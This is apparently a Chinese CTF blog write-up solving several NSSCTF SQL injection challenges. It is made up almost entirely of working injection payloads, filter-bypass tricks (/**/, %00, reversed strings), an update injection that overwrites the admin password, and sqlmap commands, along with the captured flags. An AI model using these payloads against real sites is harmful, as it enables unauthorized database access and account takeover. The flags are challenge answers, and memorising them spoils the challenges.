NSSCTF
[HNCTF 2022 WEEK2]easy_sql
参考文章:https://blog.csdn.net/Jayjay___/article/details/132956781
知识点
这题考察了无列名注入
我们常用的SQL注入方法是通过information_schema
这个默认数据库来实现,可是你有没有想过,如果过滤了该数据库那么我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。 |
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。 |
但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。
无列名注入使用条件
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。
无列名注入原理
无列名注入的原理其实很简单,就是联合查询创建虚拟数据。可以看作将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以查询字段数一定要相同,如果我们查询的字段多于数据表中列的时候,就会出现报错。
本地演示
正常查表
select * from Gu0f3n;
联合查询表中数据
select 1,2,3 union select * from Gu0f3n;(我这里字段是三,具体情况具体分析)
很明显创建了虚拟数据(虚拟字段值123和虚拟表),虚拟表中列名变成了123。
很明显创建了虚拟数据(虚拟字段值123和虚拟表),虚拟表中列名变成了123。
只查一列的字段的值我们可以 yyy是自己命名的虚拟表表名,可以自定义这条sql语句在联合查询创建虚拟表xxx,虚拟列1,2,3的同时查询虚拟表第二列的数据。
select 2
from (select 1,2,3 union select * from Gu0f3n)yyy;
要查多个列的话
select 2
,3
from (select 1,2,3 union select * from Gu0f3n)yyy;
如果有时候把`过滤了我们可以用as
select 1 as a,2 as b, 3 as c union select * from Gu0f3n;
select b from (select 1 as a,2 as b,3 as c union select * from Gu0f3n)yyy;
回到题目
黑名单应该是这样的"/and|sleep|extractvalue|information|is|not|updataxml|order|rand|handler|flag|sleep|\~|\!|\@|\#|\\$|\%|\^|\+|\&|\-|\ /i"
判断类型
因为注释符号都过滤了
id=1'|'1 |
发现回显和id=1一样确定是字符型
空格/**/绕过
id=1'/**/group/**/by/**/3,'1 |
发现字段为3
判断回显位
id=0'/**/union/**/select/**/1,2,3/**/where'1 |
这里where是限制条件 目的还是注释掉闭合
发现回显位置为3
爆库名
id=0'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where'1 |
得到这些库名
ctf,ctftraining,ctftraining,ctftraining,mysql
爆表名
id=0'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where'1 |
得到这些表名
ccctttfff,flag,news,users,gtid_slave_pos
上面说过 不能得到列名 我们直接爆值
还得自己一个个试
最终flag 在ctftraining.flag下面
id=0'/**/union/**/select/**/1,2,`6`/**/from/**/(select/**/6/**/union/**/select/**/*/**/from/**/ctftraining.flag)Gu0f3n/**/where'1 |
还有有一种闭合方式%00
其他都一样
[MoeCTF 2022]Sqlmap_boy
万能密码成功进入
admin” or 1=1#
发现注入点 id 闭合方式为单引号字段为3
回显为为 2,3
当前库名为moectf
爆表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ |
articles,flag,users
爆列
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' and table_schema=database()--+ |
flAg
爆值
id=0' union select 1,group_concat(flAg),3 from flag--+ |
NSSCTF{75b86f27-423b-418f-ac60-08815140a910}
[HUBUCTF 2022 新生赛]ezsql
这题提示获得admin的密码
知识点
参考文章:https://blog.csdn.net/qq_35599248/article/details/122440184
我们常见的sql注入一般都是基于select语句,但是在update,insert,delete也可以注入。
他们的原理都是当执行时遇到 (表达式1)(and/or)(表达式2) ,这种形式的式子时,前后表达式前后都会执行,然后做逻辑运算,最后的结果要么0,要么1。
假如我们sql注入的payload
id=1' AND 3666=3666 AND ′Gu0f3n'='Gu0f3n |
SQL查询会变成
SELECT * FROM users WHERE id='1' AND 3666=3666 AND 'Gu0f3n'='Gu0f3n' |
- id=’1’:
- 这个部分将
id
设为1
,并闭合了引号。此时,id
的值实际上为'1'
。
- 这个部分将
- AND 3666=3666:
- 这是一个恒真条件,因为3666总是等于3666。这个条件保证了注入部分的合法性,并且在逻辑上不改变查询的结果。
- AND ‘Gu0f3n’=’Gu0f3n’:
- 这是另一个恒真条件,因为
Gu0f3n
总是等于Gu0f3n
。这进一步确保了查询的合法性。
- 这是另一个恒真条件,因为
中间插入表达式的位
这种注入方法的关键在于引入两个恒真条件,使得查询语句在逻辑上始终为真。这种情况下,我们可以在中间的表达式位插入任意的SQL语句,而不会引起语法错误或逻辑错误。
具体例子
假设我们希望通过SQL注入来查询数据库的版本信息,构造如下的payload:
id=1' AND 3362=3362 AND (SELECT version())='Gu0f3n' |
这个查询会变成:
SELECT * FROM users WHERE id='1' AND 3362=3362 AND (SELECT version())='Gu0f3n' |
下面来说一下insert,update,delete的注入。
insert注入
insert语句的格式一般为
insert into
当我们发现后面插入值的某个位置我们可控时,就可以把那个位置改成多个逻辑连接词的形式,同时insert注入还可以帮助我们任意注册账号。因为插入语句要求我们插入位置的数据类型相同,所以我们要我们可控的位置的数据类型一般都是数值.
insert into Gu0f3n values(1 and if(1>2,0,sleep(3)),'shell','Gu0f3n'); |
insert into Gu0f3n values(1 and updatexml(1,(select concat(0x7e,version())),3),'shell','Gu0f3n'); |
update注入
格式
update
delete注入
delete from
原理还是和上面一样,只是这个要注意一下不要把数据库里面的内容删了,所以一定要保持最后逻辑表达式的结果为假。or连接词慎用。
回到题目
admin弱口令爆破不出
万能密码没试出来
扫目录发现源码泄露
发现update.php
存在sql注入
$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]"); |
注入点在age这里
nickname=Gu0f3n&age=-1,description=(select database())#&description=ss&token=294e68dc4639816cda6dea96ca92603d |
爆出库名
demo2
爆表
nickname=Gu0f3b&age=-1,description=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&description=sss&token=3ac68ca374a43cc099684f4353f5284d |
users
爆列
发现这里将单引号过滤了
将users转16进制
nickname=Gu0f3b&age=-1,description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database())#&description=sss&token=3ac68ca374a43cc099684f4353f5284d |
id,username,password,nickname,age,description
得到这些列
看到密码拿密码
nickname=Gu0f3b&age=-1,description=(select group_concat(password) users)#&description=sss&token=3ac68ca374a43cc099684f4353f5284d |
MD5存储
3691308f2a4c2f6983f2880d32e29c84
更新所有密码(aaa)
nickname=Gu0f3b&age=11,password=0x3437626365356337346635383966343836376462643537653963613966383038#&description=sss&token=3ac68ca374a43cc099684f4353f5284d
给了段md5
解密发现是iamcool
重启靶机
登录admin/iamcool
[NSSCTF 2022 Spring Recruit]babysql
过滤
hacker!!black_list is /if|and|\s|#|–/i 单引号闭合
%00绕过 空格/**/
字段一位
暴库
username=Gu0f3n'union/**/select/**/database();%00 |
test
爆表
username=Gu0f3n'union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database();%00 |
string(10) “flag,users”
爆列
username=Gu0f3n'union/**/select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag';%00 |
string(4) “flag”
爆值
username=Gu0f3n'union/**/select/**/group_concat(flag)/**/from/**/flag;%00 |
string(63) “前有巨大宝箱,NSSCTF{629ea8c3-1d54-4eda-a425-dbb573cf61df}”
[October 2019]Twice SQL Injection
注册登录进去
发现输进去的东西被转义
这个页面放弃
登录页面估计也不行
注册页面
6' union select database() # /123456 |
闭合方式为’’
然后在登录发现爆库名
ctftraining
爆表
6' union select group_concat(table_name) from information_schema.tables where table_schema=database() # |
flag,news,users
6' union select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema=database() # |
flag
爆值
6' union select group_concat(flag) from flag # |
NSSCTF{fe961858-8992-45d4-99a6-2b1427517f09}
[UUCTF 2022 新生赛]ezsql
输入万能密码
admin‘) or 1=1;#
发现被反转了了而且or被过滤了
//your sql:SELECT * FROM users WHERE passwd=(‘’) AND username=(‘#;1=1 )���nimda’) LIMIT 0,1
https://www.abcdtools.com/reverse
输入反转后的
#;1=1 ro ) 'nimda |
发现登录进去了
判断字段回显位
#;2,1 tceles noinu )'nimda |
两位 12
爆库
#;)(esabatad,1 tceles noinu )'nimda |
UUCTF
or被过滤 爆表
#;)(esabatad=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )(esabatad,)eman_elbat(tacnoc_puoorrg tceles noinu )'nimda |
flag,users
爆列
#;)(esabatad=amehcs_elbat dna 'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )(esabatad,)eman_nmuloc(tacnoc_puoorrg tceles noinu )'nimda |
UUCTF
保值
#;galf moorrf )(esabatad,)FTCUU(tacnoc_puoorrg tceles noinu )'nimda |
//Your Login name:NSSCTF{53358f22-a9b8-4397-99bd-a381194cc0d2}
//Your Password:UUCTF
[HNCTF 2022 WEEK4]fun_sql
源码
|
源码直接给出过滤的字符
1’’1注释闭合字符
暴力查字段 发现三段 都有回显
?uname=0'union/**/select/**/1,2,3'1 |
暴库
?uname=0'union/**/select/**/1,database(),3'1 |
ctf
/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i
这个正则表达式包含了多个关键词和符号,每个关键词或符号之间用
|
分隔,表示“或”关系。正则表达式中的每个部分分别匹配如下内容:regexp
: 匹配字符串regexp
。left
: 匹配字符串left
。extractvalue
: 匹配字符串extractvalue
。floor
: 匹配字符串floor
。reverse
: 匹配字符串reverse
。update
: 匹配字符串update
。between
: 匹配字符串between
。flag
: 匹配字符串flag
。=
: 匹配等号=
。>
: 匹配大于号>
。<
: 匹配小于号<
。and
: 匹配字符串and
。\|
: 匹配竖线符号|
。right
: 匹配字符串right
。substr
: 匹配字符串substr
。replace
: 匹配字符串replace
。char
: 匹配字符串char
。&
: 匹配符号&
。\\$
: 匹配美元符号$
,需要双反斜杠来转义。0x
: 匹配十六进制前缀0x
。sleep
: 匹配字符串sleep
。\#
: 匹配井号#
。
/i
这个模式修饰符表示不区分大小写匹配。
if (!$row) { |
单拿出来
if ($row[1] === $uname)
: 检查$row
数组中索引为1
的元素是否等于$uname
。die($flag);
: 如果相等,则终止脚本执行并输出$flag
的值。
我们直接插入一段自定义的列进去然后让uname等于我们自定义的列即可
之前讲过的insert注入
?uname=0'union/**/select/**/1,database(),3;insert/**/into/**/ccctttfff/**/values('ss','Gu0f3n','1');'1 |
之后让uname=Gu0f3n
NSSCTF{f87847e6-6220-417c-9b7b-2db8d9b5e9fb}
[NSSRound#1 Basic]sql_by_sql
存在二次注入
首先随便创建一个账号进入修改密码
查看源码
“ update user set password=’%s’ where username=’%s’; ”
那么我们只要创建一个admin’–+就可以绕过闭合
之后修改自己想要的密码登录admin
查询就两个回显
exist 和no user
说明能够执行但没回显,没报错
考虑盲注
sqlmap试试
sqlmap -u http://node4.anna.nssctf.cn:28285/query --data='id=1' --cookie='eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZrM0kw.N-LX3sRXzmBn5q_pA4bwwPt9OAU' |
爆表
sqlmap -u http://node4.anna.nssctf.cn:28285/query --data='id=1' --cookie='eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZrM0kw.N-LX3sRXzmBn5q_pA4bwwPt9OAU' --tables |
sqlmap -u http://node4.anna.nssctf.cn:28285/query --data='id=1' --cookie='eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZrM0kw.N-LX3sRXzmBn5q_pA4bwwPt9OAU' --columns |
爆列
爆值
sqlmap -u http://node4.anna.nssctf.cn:28285/query --data='id=1' --cookie='eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZrM0kw.N-LX3sRXzmBn5q_pA4bwwPt9OAU' -T flag -C flag --dump |
NSSCTF{68025097-def3-4ea7-9dda-af4b16c6f1a4}
[NSSRound#3 Team]This1sMysql
|